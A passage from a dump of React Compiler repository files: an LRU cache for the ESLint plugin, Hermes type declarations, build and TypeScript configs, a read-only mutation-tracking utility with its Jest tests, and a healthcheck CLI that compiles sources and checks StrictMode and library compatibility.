this.#values[(this.#headIdx + i + 1) % len] =\n        this.#values[(this.#headIdx + i) % len];\n    }\n    this.#values[this.#headIdx] = entry;\n    return entry[1];\n  }\n  push(key: K, value: T): void {\n    this.#headIdx =\n      (this.#headIdx - 1 + this.#values.length) % this.#values.length;\n    this.#values[this.#headIdx] = [key, value];\n  }\n}\nconst cache = new LRUCache<string, RunCacheEntry>(10);\n\nexport default function runReactCompiler({\n  sourceCode,\n  filename,\n  userOpts,\n}: RunParams): RunCacheEntry {\n  const entry = cache.get(filename);\n  if (\n    entry != null &&\n    entry.sourceCode === sourceCode.text &&\n    isDeepStrictEqual(entry.userOpts, userOpts)\n  ) {\n    return entry;\n  } else if (entry != null) {\n    if (process.env['DEBUG']) {\n      console.log(\n        `Cache hit for ${filename}, but source code or options changed, recomputing`,\n      );\n    }\n  }\n\n  const runEntry = runReactCompilerImpl({\n    sourceCode,\n    filename,\n    userOpts,\n  });\n  // If we have a cache entry, we can update it\n  if (entry != null) {\n    Object.assign(entry, runEntry);\n  } else {\n    cache.push(filename, runEntry);\n  }\n  return {...runEntry};\n}\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/src/types/hermes-eslint.d.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// v0.17.1\ndeclare module 'hermes-eslint' {\n  // https://fburl.com/2vikhmaa\n  type ParseForESLintOptions = {\n    /**\n     * Whether the whole script is executed under node.js environment.\n     * When enabled, the scope manager adds a function scope immediately following the global scope.\n     * Defaults to `false`.\n     */\n    globalReturn: boolean;\n\n    /**\n     * The identifier that's used for JSX Element creation (after transpilation).\n     * This should not be a member expression - just the root identifier (i.e. use \"React\" instead of \"React.createElement\").\n     *\n     * To use the new global JSX transform function, you can explicitly set this to `null`.\n     *\n     * Defaults to `\"React\"`.\n     */\n    jsxPragma: string | null;\n\n    /**\n     * The identifier that's used for JSX fragment elements (after transpilation).\n     * If `null`, assumes transpilation will always use a member on `jsxFactory` (i.e. React.Fragment).\n     * This should not be a member expression - just the root identifier (i.e. use \"h\" instead of \"h.Fragment\").\n     * Defaults to `null`.\n     */\n    jsxFragmentName: string | null;\n\n    /**\n     * The source type of the script.\n     */\n    sourceType: 'script' | 'module';\n\n    /**\n     * Ignore <fbt /> JSX elements when adding references to the module-level `React` variable.\n     * FBT is JSX that's transformed to non-JSX and thus references differently\n     *\n     * https://facebook.github.io/fbt/\n     */\n    fbt: boolean;\n\n    /**\n     * Support experimental component syntax\n     *\n     * Defaults to `true`.\n     */\n    enableExperimentalComponentSyntax?: boolean;\n  };\n  export function parse(code: string, options?: Partial<ParseForESLintOptions>);\n}\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/src/types/hermes-parser.d.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// v0.17.1\ndeclare module 'hermes-parser' {\n  type HermesParserOptions = {\n    allowReturnOutsideFunction?: boolean;\n    babel?: boolean;\n    flow?: 'all' | 'detect';\n    enableExperimentalComponentSyntax?: boolean;\n    sourceFilename?: string;\n    sourceType?: 'module' | 'script' | 'unambiguous';\n    tokens?: boolean;\n  };\n  export function parse(code: string, options: Partial<HermesParserOptions>);\n}\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/tsconfig.json",
    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"ES2015\",\n    \"moduleResolution\": \"Bundler\",\n    \"rootDir\": \"../\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsxdev\",\n\n    // weaken strictness from preset\n    \"importsNotUsedAsValues\": \"remove\",\n    \"noUncheckedIndexedAccess\": false,\n    \"noUnusedParameters\": false,\n    \"useUnknownInCatchVariables\": false,\n    \"target\": \"ES2015\",\n    // ideally turn off only during dev, or on a per-file basis\n    \"noUnusedLocals\": false,\n    \"sourceMap\": false,\n    \"removeComments\": true\n  },\n  \"exclude\": [\"node_modules\", \"./src/types/*\"],\n  \"include\": [\"src/**/*.ts\"]\n}\n"
  },
  {
    "path": "compiler/packages/eslint-plugin-react-compiler/tsup.config.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {defineConfig} from 'tsup';\n\nexport default defineConfig({\n  entry: ['./src/index.ts'],\n  outDir: './dist',\n  external: [\n    '@babel/core',\n    'hermes-parser',\n    'zod',\n    'zod/v4',\n    'zod-validation-error',\n    'zod-validation-error/v4',\n  ],\n  splitting: false,\n  sourcemap: false,\n  dts: false,\n  bundle: true,\n  format: 'cjs',\n  platform: 'node',\n  banner: {\n    js: `/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @lightSyntaxTransform\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */\n\n\"use no memo\";`,\n  },\n});\n"
  },
  {
    "path": "compiler/packages/make-read-only-util/.gitignore",
    "content": "node_modules/\ndist/\ntsconfig.tsbuildinfo\n"
  },
  {
    "path": "compiler/packages/make-read-only-util/README.md",
    "content": "Utility package to track mutations to objects marked as \"read-only\".\nAvailable commands:\n\n- yarn build\n- yarn test\n"
  },
  {
    "path": "compiler/packages/make-read-only-util/jest.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/** @type {import('ts-jest/dist/types').InitialOptionsTsJest} */\nmodule.exports = {\n  preset: 'ts-jest',\n  testEnvironment: 'node',\n};\n"
  },
  {
    "path": "compiler/packages/make-read-only-util/package.json",
    "content": "{\n  \"name\": \"make-read-only-util\",\n  \"version\": \"0.0.1\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"src\"\n  ],\n  \"scripts\": {\n    \"build\": \"rimraf dist && tsup\",\n    \"test\": \"jest src\",\n    \"watch\": \"yarn build --watch\"\n  },\n  \"dependencies\": {\n    \"invariant\": \"^2.2.4\",\n    \"pretty-format\": \"^24\"\n  },\n  \"devDependencies\": {\n    \"@types/invariant\": \"^2.2.35\",\n    \"@types/jest\": \"^28.1.6\",\n    \"@types/node\": \"^20.2.5\",\n    \"jest\": \"^28.1.3\",\n    \"ts-jest\": \"^28.0.7\",\n    \"ts-node\": \"^10.9.2\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/make-read-only-util\"\n  }\n}\n"
  },
  {
    "path": "compiler/packages/make-read-only-util/src/__tests__/makeReadOnly-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport buildMakeReadOnly from '../makeReadOnly';\n\ndescribe('makeReadOnly', () => {\n  let logger: jest.Func;\n  let makeReadOnly: <T>(value: T, source: string) => T;\n\n  beforeEach(() => {\n    logger = jest.fn();\n    makeReadOnly = buildMakeReadOnly(logger, []);\n  });\n\n  describe('Tracking mutations', () => {\n    it('can be called with all primitives', () => {\n      const a = 5;\n      const b = true;\n      const c = null;\n      expect(makeReadOnly(a, 'test1')).toBe(a);\n      expect(makeReadOnly(b, 'test1')).toBe(b);\n      expect(makeReadOnly(c, 'test1')).toBe(c);\n    });\n\n    it('retains referential equality', () => {\n      const valA = {};\n      const valB = {a: valA, _: valA};\n      const o = {a: valA, b: valB, c: 'c'};\n      expect(makeReadOnly(o, 'test2')).toBe(o);\n      expect(makeReadOnly(o.a, 'test2')).toBe(valA);\n      expect(makeReadOnly(o.b, 'test2')).toBe(valB);\n      expect(makeReadOnly(o.b.a, 'test2')).toBe(valA);\n      expect(makeReadOnly(o.b._, 'test2')).toBe(valA);\n      expect(makeReadOnly(o.c, 'test2')).toBe('c');\n    });\n\n    it('deals with cyclic references', () => {\n      const o: any = {};\n      o.self_ref = o;\n      expect(makeReadOnly(o, 'test3')).toBe(o);\n      expect(makeReadOnly(o.self_ref, 'test3')).toBe(o);\n    });\n    it('logs direct interior mutability', () => {\n      const o = {a: 0};\n      makeReadOnly(o, 'test4');\n      o.a = 42;\n      expect(logger).toBeCalledWith('FORGET_MUTATE_IMMUT', 'test4', 'a', 42);\n    });\n\n    it('tracks changes to known RO properties', () => {\n      const o: any = {a: {}};\n      makeReadOnly(o, 'test5');\n      o.a = 42;\n      expect(logger).toBeCalledWith('FORGET_MUTATE_IMMUT', 'test5', 'a', 42);\n      expect(o.a).toBe(42);\n      const newVal = {x: 0};\n      o.a = newVal;\n      expect(logger).toBeCalledWith(\n        'FORGET_MUTATE_IMMUT',\n        'test5',\n        'a',\n        newVal,\n      );\n      expect(o.a).toBe(newVal);\n    });\n\n    it('logs aliased mutations', () => {\n      const o: any = {a: {x: 4}};\n\n      const alias = o;\n      makeReadOnly(o, 'test6');\n      const newVal = {};\n      alias.a = newVal;\n      expect(logger).toBeCalledWith(\n        'FORGET_MUTATE_IMMUT',\n        'test6',\n        'a',\n        newVal,\n      );\n      expect(o.a).toBe(newVal);\n    });\n\n    it('logs transitive interior mutability', () => {\n      const o: any = {a: {x: 0}};\n      makeReadOnly(o, 'test7');\n      o.a.x = 42;\n      expect(logger).toBeCalledWith('FORGET_MUTATE_IMMUT', 'test7', 'x', 42);\n    });\n\n    describe('todo', () => {\n      it('does not track newly added or deleted vals if makeReadOnly is only called once', () => {\n        // this is a limitation of the current \"proxy\" approach,\n        // which overwrites object properties with getters and setters\n        const x: any = {a: {}};\n        makeReadOnly(x, 'test8');\n\n        delete x.a;\n        x.b = 0;\n        expect(logger).toBeCalledTimes(0);\n      });\n      it('does not log aliased indirect mutations', () => {\n        // this could be easily implemented by making caching eager\n        const innerObj = {x: 0};\n        const o = {a: innerObj};\n        makeReadOnly(o, 'test9');\n        innerObj.x = 42;\n        expect(o.a.x).toBe(42);\n\n        const o1 = {a: {x: 0}};\n        const innerObj1 = o1.a;\n        makeReadOnly(o1, 'test9');\n        innerObj1.x = 42;\n\n        expect(o1.a.x).toBe(42);\n        expect(logger).toBeCalledTimes(0);\n      });\n\n      it('does not track objects with getter/setters', () => {\n        let backedX: string | null = null;\n        const o = {\n          set val(val: string | null) {\n            backedX = val;\n          },\n          get val(): string | null {\n            return backedX;\n          },\n        };\n        expect(makeReadOnly(o, 'test10')).toBe(o);\n        expect(makeReadOnly(o.val, 'test10')).toBe(null);\n\n        o.val = '40';\n        expect(logger).toBeCalledTimes(0);\n      });\n    });\n  });\n\n  describe('Tracking adding or deleting properties', () => {\n    it('tracks new properties added between calls to makeReadOnly', () => {\n      const o: any = {};\n      makeReadOnly(o, 'test11');\n      o.a = 'new value';\n      makeReadOnly(o, 'test11');\n      expect(logger).toBeCalledWith('FORGET_ADD_PROP_IMMUT', 'test11', 'a');\n    });\n    it('tracks properties deleted between calls to makeReadOnly', () => {\n      const o: any = {a: 0};\n      makeReadOnly(o, 'test12');\n      delete o.a;\n      makeReadOnly(o, 'test12');\n      expect(logger).toBeCalledWith('FORGET_DELETE_PROP_IMMUT', 'test12', 'a');\n    });\n\n    // it(\"tracks properties deleted and re-added between calls to makeReadOnly\", () => {\n    //   const o: any = { a: 0 };\n    //   makeReadOnly(o);\n    //   delete o.a;\n    //   o.a = {};\n    //   makeReadOnly(o);\n    //   expect(logger).toBeCalledWith(\"FORGET_CHANGE_PROP_IMMUT\", \"a\");\n    // });\n  });\n});\n"
  },
  {
    "path": "compiler/packages/make-read-only-util/src/makeReadOnly.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\ntype ROViolationType =\n  | 'FORGET_MUTATE_IMMUT'\n  | 'FORGET_DELETE_PROP_IMMUT'\n  | 'FORGET_CHANGE_PROP_IMMUT'\n  | 'FORGET_ADD_PROP_IMMUT';\ntype ROViolationLogger = (\n  violation: ROViolationType,\n  source: string,\n  key: string,\n  value?: any,\n) => void;\n\n/**\n * Represents a \"proxy\" of a read-only object property\n *   savedVal: underlying \"source of truth\" for a property value\n *   getter: hack, this lets us check whether we have already saved this property\n * */\ntype SavedEntry = {\n  savedVal: unknown;\n  getter: () => unknown;\n};\ntype SavedROObject = Map<string, SavedEntry>;\ntype SavedROObjects = WeakMap<Object, SavedROObject>;\n\n// Utility functions\nfunction isWriteable(desc: PropertyDescriptor) {\n  return (desc.writable || desc.set) && desc.configurable;\n}\n\nfunction getOrInsertDefault(\n  m: SavedROObjects,\n  k: object,\n): {existed: boolean; entry: SavedROObject} {\n  const entry = m.get(k);\n  if (entry) {\n    return {existed: true, entry};\n  } else {\n    const newEntry: SavedROObject = new Map();\n    m.set(k, newEntry);\n    return {existed: false, entry: newEntry};\n  }\n}\n\nfunction buildMakeReadOnly(\n  logger: ROViolationLogger,\n  skippedClasses: string[],\n): <T>(val: T, source: string) => T {\n  // All saved proxys\n  const savedROObjects: SavedROObjects = new WeakMap();\n\n  // Overwrites an object property with its proxy and saves its original value\n  function addProperty(\n    obj: Object,\n    source: string,\n    key: string,\n    prop: PropertyDescriptor,\n    savedEntries: Map<string, SavedEntry>,\n  ) {\n    const proxy: PropertyDescriptor & {get(): unknown} = {\n      get() {\n        // read from backing cache entry\n        return makeReadOnly(savedEntries.get(key)!.savedVal, source);\n      },\n      set(newVal: unknown) {\n        logger('FORGET_MUTATE_IMMUT', source, key, newVal);\n        // update backing cache entry\n        savedEntries.get(key)!.savedVal = newVal;\n      },\n    };\n    if (prop.configurable != null) {\n      proxy.configurable = prop.configurable;\n    }\n    if (prop.enumerable != null) {\n      proxy.enumerable = prop.enumerable;\n    }\n\n    savedEntries.set(key, {savedVal: (obj as any)[key], getter: proxy.get});\n    Object.defineProperty(obj, key, proxy);\n  }\n\n  // Changes an object to be read-only, returns its input\n  function makeReadOnly<T>(o: T, source: string): T {\n    if (typeof o !== 'object' || o == null) {\n      return o;\n    } else if (\n      o.constructor?.name != null &&\n      skippedClasses.includes(o.constructor.name)\n    ) {\n      return o;\n    }\n\n    const {existed, entry: cache} = getOrInsertDefault(savedROObjects, o);\n\n    for (const [k, entry] of cache.entries()) {\n      const currentProp = Object.getOwnPropertyDescriptor(o, k);\n      if (currentProp && !isWriteable(currentProp)) {\n        continue;\n      }\n      const currentPropGetter = currentProp?.get;\n      const cachedGetter = entry.getter;\n\n      if (currentPropGetter !== cachedGetter) {\n        // cache is currently holding an old property\n        //  - it may have been deleted\n        //  - it may have been deleted + re-set\n        //    (meaning that new value is not proxied,\n        //     and the current proxied value is stale)\n        cache.delete(k);\n        if (!currentProp) {\n          logger('FORGET_DELETE_PROP_IMMUT', source, k);\n        } else if (currentProp) {\n          logger('FORGET_CHANGE_PROP_IMMUT', source, k);\n          addProperty(o, source, k, currentProp, cache);\n        }\n      }\n    }\n    for (const [k, prop] of Object.entries(\n      Object.getOwnPropertyDescriptors(o),\n    )) {\n      if (!cache.has(k) && isWriteable(prop)) {\n        if (\n          prop.hasOwnProperty('set') ||\n          prop.hasOwnProperty('get') ||\n          k === 'current'\n        ) {\n          // - we currently don't handle accessor properties\n          // - we currently have no other way of checking whether an object\n          // is a `ref` (i.e. returned by useRef).\n          continue;\n        }\n\n        if (existed) {\n          logger('FORGET_ADD_PROP_IMMUT', source, k);\n        }\n        addProperty(o, source, k, prop, cache);\n      }\n    }\n    return o;\n  }\n\n  return makeReadOnly;\n}\n\nexport default buildMakeReadOnly;\n"
  },
  {
    "path": "compiler/packages/make-read-only-util/tsconfig.json",
    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"declaration\": true,\n    \"outDir\": \"dist\",\n    \"jsx\": \"react-jsxdev\",\n\n    // weaken strictness from preset\n    \"importsNotUsedAsValues\": \"remove\",\n    \"noUncheckedIndexedAccess\": false,\n    \"noUnusedParameters\": false,\n    \"useUnknownInCatchVariables\": false,\n    \"target\": \"ES2015\",\n    // ideally turn off only during dev, or on a per-file basis\n    \"noUnusedLocals\": false,\n    \"sourceMap\": true\n  },\n  \"exclude\": [\"node_modules\"],\n  \"include\": [\"src/**/*.ts\"]\n}\n"
  },
  {
    "path": "compiler/packages/make-read-only-util/tsup.config.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {defineConfig} from 'tsup';\n\nexport default defineConfig({\n  entry: ['./src/makeReadOnly.ts'],\n  outDir: './dist',\n  splitting: false,\n  sourcemap: true,\n  dts: false,\n  bundle: true,\n  format: 'cjs',\n  platform: 'browser',\n  target: 'es2015',\n  banner: {\n    js: `/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @lightSyntaxTransform\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */\n\n\"use no memo\";`,\n  },\n});\n"
  },
  {
    "path": "compiler/packages/react-compiler-healthcheck/package.json",
    "content": "{\n  \"name\": \"react-compiler-healthcheck\",\n  \"version\": \"0.0.0-experimental-ab3118d-20240725\",\n  \"description\": \"Health check script to test violations of the rules of react.\",\n  \"bin\": {\n    \"react-compiler-healthcheck\": \"dist/index.js\"\n  },\n  \"scripts\": {\n    \"build\": \"rimraf dist && tsup\",\n    \"test\": \"echo 'no tests'\",\n    \"watch\": \"yarn build --watch\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.24.4\",\n    \"@babel/parser\": \"^7.24.4\",\n    \"chalk\": \"4\",\n    \"fast-glob\": \"^3.3.2\",\n    \"ora\": \"5.4.1\",\n    \"yargs\": \"^17.7.2\",\n    \"zod\": \"^3.25.0 || ^4.0.0\",\n    \"zod-validation-error\": \"^3.5.0 || ^4.0.0\"\n  },\n  \"devDependencies\": {},\n  \"engines\": {\n    \"node\": \"^14.17.0 || ^16.0.0 || >= 18.0.0\"\n  },\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/react-compiler-healthcheck\"\n  }\n}\n"
  },
  {
    "path": "compiler/packages/react-compiler-healthcheck/src/checks/libraryCompat.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport chalk from 'chalk';\nimport {config} from '../config';\n\nconst packageJsonRE = /package\\.json$/;\nconst knownIncompatibleLibrariesUsage = new Set();\n\nexport default {\n  run(source: string, path: string): void {\n    if (packageJsonRE.exec(path) !== null) {\n      const contents = JSON.parse(source);\n      const deps = contents.dependencies;\n      if (deps != null) {\n        for (const library of config.knownIncompatibleLibraries) {\n          if (Object.hasOwn(deps, library)) {\n            knownIncompatibleLibrariesUsage.add(library);\n          }\n        }\n      }\n    }\n  },\n\n  report(): void {\n    if (knownIncompatibleLibrariesUsage.size > 0) {\n      console.log(chalk.red(`Found the following incompatible libraries:`));\n      for (const library of knownIncompatibleLibrariesUsage) {\n        console.log(library);\n      }\n    } else {\n      console.log(chalk.green(`Found no usage of incompatible libraries.`));\n    }\n  },\n};\n"
  },
  {
    "path": "compiler/packages/react-compiler-healthcheck/src/checks/reactCompiler.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type * as BabelCore from '@babel/core';\nimport {transformFromAstSync} from '@babel/core';\nimport * as BabelParser from '@babel/parser';\nimport BabelPluginReactCompiler, {\n  ErrorSeverity,\n  type CompilerErrorDetailOptions,\n  type PluginOptions,\n} from 'babel-plugin-react-compiler/src';\nimport {LoggerEvent as RawLoggerEvent} from 'babel-plugin-react-compiler/src/Entrypoint';\nimport chalk from 'chalk';\n\ntype LoggerEvent = RawLoggerEvent & {filename: string | null};\n\nconst SucessfulCompilation: Array<LoggerEvent> = [];\nconst ActionableFailures: Array<LoggerEvent> = [];\nconst OtherFailures: Array<LoggerEvent> = [];\n\nconst logger = {\n  logEvent(filename: string | null, rawEvent: RawLoggerEvent) {\n    const event = {...rawEvent, filename};\n    switch (event.kind) {\n      case 'CompileSuccess': {\n        SucessfulCompilation.push(event);\n        return;\n      }\n      case 'CompileError': {\n        if (isActionableDiagnostic(event.detail)) {\n          ActionableFailures.push(event);\n          return;\n        }\n        OtherFailures.push(event);\n        return;\n      }\n      case 'CompileDiagnostic':\n      case 'PipelineError':\n        OtherFailures.push(event);\n        return;\n    }\n  },\n};\n\nconst COMPILER_OPTIONS: PluginOptions = {\n  noEmit: true,\n  compilationMode: 'infer',\n  panicThreshold: 'critical_errors',\n  logger,\n};\n\nfunction isActionableDiagnostic(detail: CompilerErrorDetailOptions) {\n  switch (detail.severity) {\n    case ErrorSeverity.InvalidReact:\n    case ErrorSeverity.InvalidJS:\n      return true;\n    case ErrorSeverity.InvalidConfig:\n    case ErrorSeverity.Invariant:\n    case ErrorSeverity.CannotPreserveMemoization:\n    case ErrorSeverity.Todo:\n      return false;\n    default:\n      throw new Error(`Unhandled error severity \\`${detail.severity}\\``);\n  }\n}\n\nfunction runBabelPluginReactCompiler(\n  text: string,\n  file: string,\n  language: 'flow' | 'typescript',\n  options: PluginOptions | null,\n): BabelCore.BabelFileResult {\n  const ast = BabelParser.parse(text, {\n    sourceFilename: file,\n    plugins: [language, 'jsx'],\n    sourceType: 'module',\n  });\n  const result = transformFromAstSync(ast, text, {\n    filename: file,\n    highlightCode: false,\n    retainLines: true,\n    plugins: [[BabelPluginReactCompiler, options]],\n    sourceType: 'module',\n    configFile: false,\n    babelrc: false,\n  });\n  if (result?.code == null) {\n    throw new Error(\n      `Expected BabelPluginReactForget to codegen successfully, got: ${result}`,\n    );\n  }\n  return result;\n}\n\nfunction compile(sourceCode: string, filename: string) {\n  try {\n    runBabelPluginReactCompiler(\n      sourceCode,\n      filename,\n      'typescript',\n      COMPILER_OPTIONS,\n    );\n  } catch {}\n}\n\nconst JsFileExtensionRE = /(js|ts|jsx|tsx)$/;\n\n/**\n * Counts unique source locations (filename + function definition location)\n * in source.\n * The compiler currently occasionally emits multiple error events for a\n * single file (e.g. to report multiple rules of react violations in the\n * same pass).\n * TODO: enable non-destructive `CompilerDiagnostic` logging in dev mode,\n * and log a \"CompilationStart\" event for every function we begin processing.\n */\nfunction countUniqueLocInEvents(events: Array<LoggerEvent>): number {\n  const seenLocs = new Set<string>();\n  let count = 0;\n  for (const e of events) {\n    if (e.filename != null && e.fnLoc != null) {\n      seenLocs.add(`${e.filename}:${e.fnLoc.start}:${e.fnLoc.end}`);\n    } else {\n      // failed to dedup due to lack of source locations\n      count++;\n    }\n  }\n  return count + seenLocs.size;\n}\n\nexport default {\n  run(source: string, path: string): void {\n    if (JsFileExtensionRE.exec(path) !== null) {\n      compile(source, path);\n    }\n  },\n\n  report(): void {\n    const totalComponents =\n      SucessfulCompilation.length +\n      countUniqueLocInEvents(OtherFailures) +\n      countUniqueLocInEvents(ActionableFailures);\n    console.log(\n      chalk.green(\n        `Successfully compiled ${SucessfulCompilation.length} out of ${totalComponents} components.`,\n      ),\n    );\n  },\n};\n"
  },
  {
    "path": "compiler/packages/react-compiler-healthcheck/src/checks/strictMode.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport chalk from 'chalk';\n\nconst JsFileExtensionRE = /(js|ts|jsx|tsx)$/;\nconst NextConfigFileRE = /^next\\.config\\.(js|mjs)$/;\nconst StrictModeRE = /<(React\\.StrictMode|StrictMode)>/;\nconst NextStrictModeRE = /reactStrictMode:\\s*true/;\nlet StrictModeUsage = false;\n\nexport default {\n  run(source: string, path: string): void {\n    if (StrictModeUsage) {\n      return;\n    }\n\n    if (NextConfigFileRE.exec(path) !== null) {\n      StrictModeUsage = NextStrictModeRE.exec(source) !== null;\n    } else if (JsFileExtensionRE.exec(path) !== null) {\n      StrictModeUsage = StrictModeRE.exec(source) !== null;\n    }\n  },\n\n  report(): void {\n    if (StrictModeUsage) {\n      console.log(chalk.green('StrictMode usage found.'));\n    } else {\n      console.log(chalk.red('StrictMode usage not found.'));\n    }\n  },\n};\n"
  },
  {
    "path": "compiler/packages/react-compiler-healthcheck/src/config.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport const config = {\n  knownIncompatibleLibraries: [\n    'mobx-react',\n    'mobx-react-lite',\n    '@risingstack/react-easy-state',\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/react-compiler-healthcheck/src/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {glob} from 'fast-glob';\nimport * as fs from 'fs/promises';\nimport ora from 'ora';\nimport yargs from 'yargs/yargs';\nimport libraryCompatCheck from './checks/libraryCompat';\nimport reactCompilerCheck from './checks/reactCompiler';\nimport strictModeCheck from './checks/strictMode';\n\nasync function main() {\n  const argv = yargs(process.argv.slice(2))\n    .scriptName('healthcheck')\n    .usage('$ npx healthcheck <src>')\n    .option('src', {\n      description: 'glob expression matching src files to compile',\n      type: 'string',\n      default: '**/+(*.{js,mjs,jsx,ts,tsx}|package.json)',\n    })\n    .parseSync();\n\n  const spinner = ora('Checking').start();\n  let src = argv.src;\n\n  const globOptions = {\n    onlyFiles: true,\n    ignore: [\n      '**/node_modules/**',\n      '**/dist/**',\n      '**/tests/**',\n      '**/__tests__/**',\n      '**/__mocks__/**',\n      '**/__e2e__/**',\n    ],\n  };\n\n  for (const path of await glob(src, globOptions)) {\n    const source = await fs.readFile(path, 'utf-8');\n    spinner.text = `Checking ${path}`;\n    reactCompilerCheck.run(source, path);\n    strictModeCheck.run(source, path);\n    libraryCompatCheck.run(source, path);\n  }\n  spinner.stop();\n\n  reactCompilerCheck.report();\n  strictModeCheck.report();\n  libraryCompatCheck.report();\n}\n\nmain();\n"
  },
  {
    "path": "compiler/packages/react-compiler-healthcheck/tsconfig.json",
    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"ES2015\",\n    \"moduleResolution\": \"Bundler\",\n    \"rootDir\": \"../\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsxdev\",\n    \"lib\": [\"ES2022\"],\n\n    // weaken strictness from preset\n    \"importsNotUsedAsValues\": \"remove\",\n    \"noUncheckedIndexedAccess\": false,\n    \"noUnusedParameters\": false,\n    \"useUnknownInCatchVariables\": false,\n    \"target\": \"ES2015\",\n    // ideally turn off only during dev, or on a per-file basis\n    \"noUnusedLocals\": false,\n  },\n  \"exclude\": [\"node_modules\"],\n  \"include\": [\"src/**/*.ts\"],\n}\n"
  },
  {
    "path": "compiler/packages/react-compiler-healthcheck/tsup.config.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {defineConfig} from 'tsup';\n\nexport default defineConfig({\n  entry: ['./src/index.ts'],\n  outDir: './dist',\n  external: [\n    '@babel/core',\n    '@babel/parser',\n    'chalk',\n    'fast-glob',\n    'ora',\n    'yargs',\n    'zod',\n    'zod/v4',\n    'zod-validation-error',\n    'zod-validation-error/v4',\n  ],\n  splitting: false,\n  sourcemap: false,\n  dts: false,\n  bundle: true,\n  format: 'cjs',\n  platform: 'node',\n  banner: {\n    js: `#!/usr/bin/env node\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @lightSyntaxTransform\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */\n\n\"use no memo\";`,\n  },\n});\n"
  },
  {
    "path": "compiler/packages/react-compiler-runtime/README.md",
    "content": "# react-compiler-runtime\n\nBackwards compatible shim for runtime APIs used by React Compiler. Primarily meant for React versions prior to 19, but it will also work on > 19.\n\nSee also https://github.com/reactwg/react-compiler/discussions/6.\n"
  },
  {
    "path": "compiler/packages/react-compiler-runtime/package.json",
    "content": "{\n  \"name\": \"react-compiler-runtime\",\n  \"version\": \"0.0.1\",\n  \"description\": \"Runtime for React Compiler\",\n  \"license\": \"MIT\",\n  \"main\": \"dist/index.js\",\n  \"typings\": \"dist/index.d.ts\",\n  \"files\": [\n    \"dist\",\n    \"src\"\n  ],\n  \"peerDependencies\": {\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0 || ^0.0.0-experimental\"\n  },\n  \"scripts\": {\n    \"build\": \"rimraf dist && tsup\",\n    \"test\": \"echo 'no tests'\",\n    \"watch\": \"yarn build --watch\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/react-compiler-runtime\"\n  }\n}\n"
  },
  {
    "path": "compiler/packages/react-compiler-runtime/src/index.ts",
